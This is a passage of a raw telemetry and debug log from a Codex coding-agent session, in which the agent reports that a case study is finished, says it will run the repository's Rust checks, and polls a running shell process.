docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:19.985Z] [INFO] \n[2026-07-12T04:06:19.985Z] [INFO] SESSION_ID=26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:19.985Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:19.985Z] [INFO] 2026-07-12T04:06:19.985116Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_SpHEba3YELgZgIoJO1MACMGU duration_ms=1394 success=true arguments_length=1777 output_length=777 output_line_count=21 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:19.985Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:19.985Z] [INFO] \n[2026-07-12T04:06:19.998Z] [INFO] 2026-07-12T04:06:19.985337Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_SpHEba3YELgZgIoJO1MACMGU tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=1395 total_duration_ms=1395\n[2026-07-12T04:06:19.998Z] [INFO] \n[2026-07-12T04:06:20.061Z] [INFO] 2026-07-12T04:06:20.055543Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:06:20.061Z] [INFO] \n[2026-07-12T04:06:20.084Z] [INFO] 2026-07-12T04:06:20.069034Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=5 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:20.069Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:20.084Z] [INFO] 2026-07-12T04:06:20.069116Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=5 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:20.069Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:20.084Z] [INFO] 2026-07-12T04:06:20.069131Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:06:20.084Z] [INFO] \n[2026-07-12T04:06:23.470Z] [INFO] 2026-07-12T04:06:23.467695Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312bf66648191bbe360bdc975835d\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxK_k6-uin0Kr_l7VKQIqWd8dgNcXN_0uNEB4SD9iEQLFsN59A1sHRTK5GQJS0qpRbfZqtxbxIIy-gJK24f7IdxuGtKZd_cW7vBdZpNwXFClcdvprheKBv0m9o4FHW89iNcZmRrud5KfZ8ZKm7PRrdPzQyCT9qP1q6F7Z2JHrr9XXUtfJZgcO-OcfNFc1X6gfcS_FoLB8z3oX9BYNxlquYuXPVO_f5vyaRtVyYADivNh_vr9ir_oT98S6UdRAz10bbRRHxSPF5hv0xWIrBM7Qt8klzIljQhCMqs8VF7cQOt8HBQgRmAyNAClwFDDXWnOZLQWHfApN86BhVzj3kFtjgoWe9PZ3PVDKC9J8_msKQYgweKc9zImklLlQbaiIhrHWuoChln8cr5FPi1a4gwyqDv6EdaullhBjxJPLWLeJEu8hu3Izoq2y9uch9G4qHphmB5ATkEzxssdjV0WmuQOv56glCthqBjicNyBOiRyPYLaRPHLE43Vz2r3DssmPHdqDJyvI7o2bynaEoRZxXvizpqVvHMRCwS_3_gsQJHrw3FpLBhxZug0To_FKliY1cqeFSre8_stXlGVl-TAmEfBCqCHNwBN0Zn2MkBQLV6tloP68aTDaY2XZaQUQFhWWlD5PspiBjRP-KzTAcDkNA4k9413ov7AtK2yMWMmpfN0MSpvdcb2uXoPmnu3nUGlJxrOhZ3g2jxS0SsIJqy3jYIuph6bA5HcCu-zgjHHuJc__mycXqbQwdZn5voOLD1GzJP9dguHC55kr0KEgtdT1cnZD6tcTWU942nx6UnmvuW6GnLVED9TD7nwgOElfTWiY898K61Y9E469yoBpfRVFy0y7XvaO1-XSBURoi-lm42y1LbPZsceGPOZPyb3OVelvmj__zsROSDVjPixl7tXILot8bnbSA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:23.470Z] [INFO] \n[2026-07-12T04:06:23.788Z] [INFO] 2026-07-12T04:06:23.784450Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312bf66648191bbe360bdc975835d\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxK_GnaaDQ1o9nBSQB1cgta4izCRJGewCxrxQu_4LW1HaTiHdooJhk4HvxoboyHb3Pq8ZbQHqORkpLpMb8t-EQrB1L3qyOu1l219Tg1769xin96HFgOiagrSNGoLwN2Io33YsKG4ftHTxqihjNmkPt6mLQn5_EDk2dWHWvW8xidEGxNyxszXKBel418X_nsdcqiYgskP2qjgMDS2Xgf0CjC0GDohIGR9YAqqNxLNaMiS7vjaeutUfxMtYA_M0F66oq48_meArw-RMRjtwdvZHRLTFIbknZK6ycGA4hcsgDXvZcCuN3Ub3jZJKh06focfMZ-eJqMg59qD-2J_d2fHbfTuPhY6Mxlx6t7i0y0Vp4aEQ_iM5Rwp-ru3cryA4kpMIuRmNChE8CJ6qzOYYMDr1_SEYghv5GQRTANHJYj8a3MVT903QwpmscNA1By3MB1DoAoXj9DxtZJEdbKGatw9VK3wbpVylOq9cA-lmlC3blE3CRckIiWaOQ_GpJH9fQJmNGT-yLM1rZBtOQfJZcekct2RIA-KLvQ_ywLrcj20fbvX0stTrX9S7i0OOrkn2ZQzKzZ1YrQWKJ2yWTFdgdUKz4SuUslk2TdMDClTAWqEic0ugHA0F_fu0BA84gbXXya54ncUa60w_wpDcwC-BJba3DgSYp12TGycuu_XzBS8f8kaRdnc1_fc1gblnynxyMHID5LwFrjC7iQJ1KiG6OIMnMyrUbhlGHSZpwVG9G_9jjDTeOY1Mh-2bC6PyCHbDZdltH7UweInGIR6D3G9lDh_Gc8tn5Mymr3f4zQbwn6tpGo0Zef7hVm4vHsmLYiyBtL4h9WjqIhCxwpGT9EuqaXTD3qBNU4JB2IlbkNMuGNUhVsbP6VtQrtBWzLrseo8wYxfnBXFayImE5k1aPdzHVbGI0NlncP5hut2opWpjVjvbJjuk5aWOZvaCpKpw4EUjC0Ywmq2\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:23.788Z] [INFO] \n[2026-07-12T04:06:23.791Z] [INFO] 2026-07-12T04:06:23.790449Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5312bfc3388191ad50f7c240b9c916\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:23.791Z] [INFO] \n[2026-07-12T04:06:25.495Z] [INFO] 2026-07-12T04:06:25.492268Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5312bfc3388191ad50f7c240b9c916\"), role: \"assistant\", content: [OutputText { text: \"The complete case study is now in place: requirements matrix, source inventory, deep architectural analysis, compact raw observations, component evaluation, and a seven-phase implementation roadmap. I\u2019m running the repository\u2019s full Rust checks now, then I\u2019ll review every changed line and finalize the existing PR.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:25.495Z] [INFO] \n[2026-07-12T04:06:25.501Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_31\",\"type\":\"agent_message\",\"text\":\"The complete case study is now in place: requirements matrix, source inventory, deep architectural analysis, compact raw observations, component evaluation, and a seven-phase implementation roadmap. I\u2019m running the repository\u2019s full Rust checks now, then I\u2019ll review every changed line and finalize the existing PR.\"}}\n[2026-07-12T04:06:25.501Z] [INFO] \n[2026-07-12T04:06:25.610Z] [INFO] 2026-07-12T04:06:25.507339Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312c16f6881919163fb189f7369aa\"), status: Some(\"in_progress\"), call_id: \"call_7ojGhrB6XrMLOSnHaYFrFxVa\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:25.610Z] [INFO] \n[2026-07-12T04:06:26.102Z] [INFO] 2026-07-12T04:06:26.099326Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:26.102Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:26.102Z] [INFO] 2026-07-12T04:06:26.102365Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312bc65dc8191873ce26c2c79305e\"\n[2026-07-12T04:06:26.102Z] [INFO] 2026-07-12T04:06:26.102404Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60716 output_token_count=134 cached_token_count=59136 reasoning_token_count=9 tool_token_count=60850 ttft_ms=3404 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:26.102Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:26.102Z] [INFO] 2026-07-12T04:06:26.102454Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60716 output_token_count=134 cached_token_count=59136 reasoning_token_count=9 tool_token_count=60850 ttft_ms=3404 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:26.102Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:26.102Z] [INFO] \n[2026-07-12T04:06:31.196Z] [INFO] 2026-07-12T04:06:31.195228Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-28ff894e-b8d3-4fbd-bbfc-5e8188e56f79 arguments={\"session_id\":26498,\"chars\":\"\",\"yield_time_ms\":1000,\"max_output_tokens\":5000} duration_ms=5000 success=true output=Chunk ID: ec2e06\n[2026-07-12T04:06:31.196Z] [INFO] Wall time: 5.0004 seconds\n[2026-07-12T04:06:31.196Z] [INFO] Process running with session ID 26498\n[2026-07-12T04:06:31.196Z] [INFO] Original token count: 0\n[2026-07-12T04:06:31.196Z] [INFO] Output:\n[2026-07-12T04:06:31.196Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:31.195Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.196Z] [INFO] 2026-07-12T04:06:31.195290Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-28ff894e-b8d3-4fbd-bbfc-5e8188e56f79 duration_ms=5000 success=true arguments_length=77 output_length=113 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:31.195Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.196Z] [INFO] \n[2026-07-12T04:06:31.198Z] [INFO] 2026-07-12T04:06:31.197940Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_7ojGhrB6XrMLOSnHaYFrFxVa arguments=const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:31.198Z] [INFO]  duration_ms=5089 success=true output=Script completed\n[2026-07-12T04:06:31.198Z] [INFO] Wall time 5.1 seconds\n[2026-07-12T04:06:31.198Z] [INFO] Output:\n[2026-07-12T04:06:31.198Z] [INFO] \n[2026-07-12T04:06:31.198Z] [INFO] SESSION_ID=26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:31.197Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.198Z] [INFO] 2026-07-12T04:06:31.197984Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_7ojGhrB6XrMLOSnHaYFrFxVa duration_ms=5089 success=true arguments_length=173 output_length=64 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:31.197Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.198Z] [INFO] 2026-07-12T04:06:31.198073Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_7ojGhrB6XrMLOSnHaYFrFxVa tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=5090 total_duration_ms=5090\n[2026-07-12T04:06:31.198Z] [INFO] \n[2026-07-12T04:06:31.342Z] [INFO] 2026-07-12T04:06:31.341923Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:06:31.342Z] [INFO] \n[2026-07-12T04:06:31.351Z] [INFO] 2026-07-12T04:06:31.349833Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:31.349Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.351Z] [INFO] \n[2026-07-12T04:06:31.355Z] [INFO] 2026-07-12T04:06:31.351165Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:31.351Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.355Z] [INFO] 2026-07-12T04:06:31.351200Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:06:31.355Z] [INFO] \n[2026-07-12T04:06:33.506Z] [INFO] 2026-07-12T04:06:33.502998Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312c95d0081918117fa88c7c1d06b\"), status: Some(\"in_progress\"), call_id: \"call_hVKGfnOiYpigXiU8sN54kIIX\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:33.506Z] [INFO] \n[2026-07-12T04:06:33.647Z] [INFO] 2026-07-12T04:06:33.644607Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol 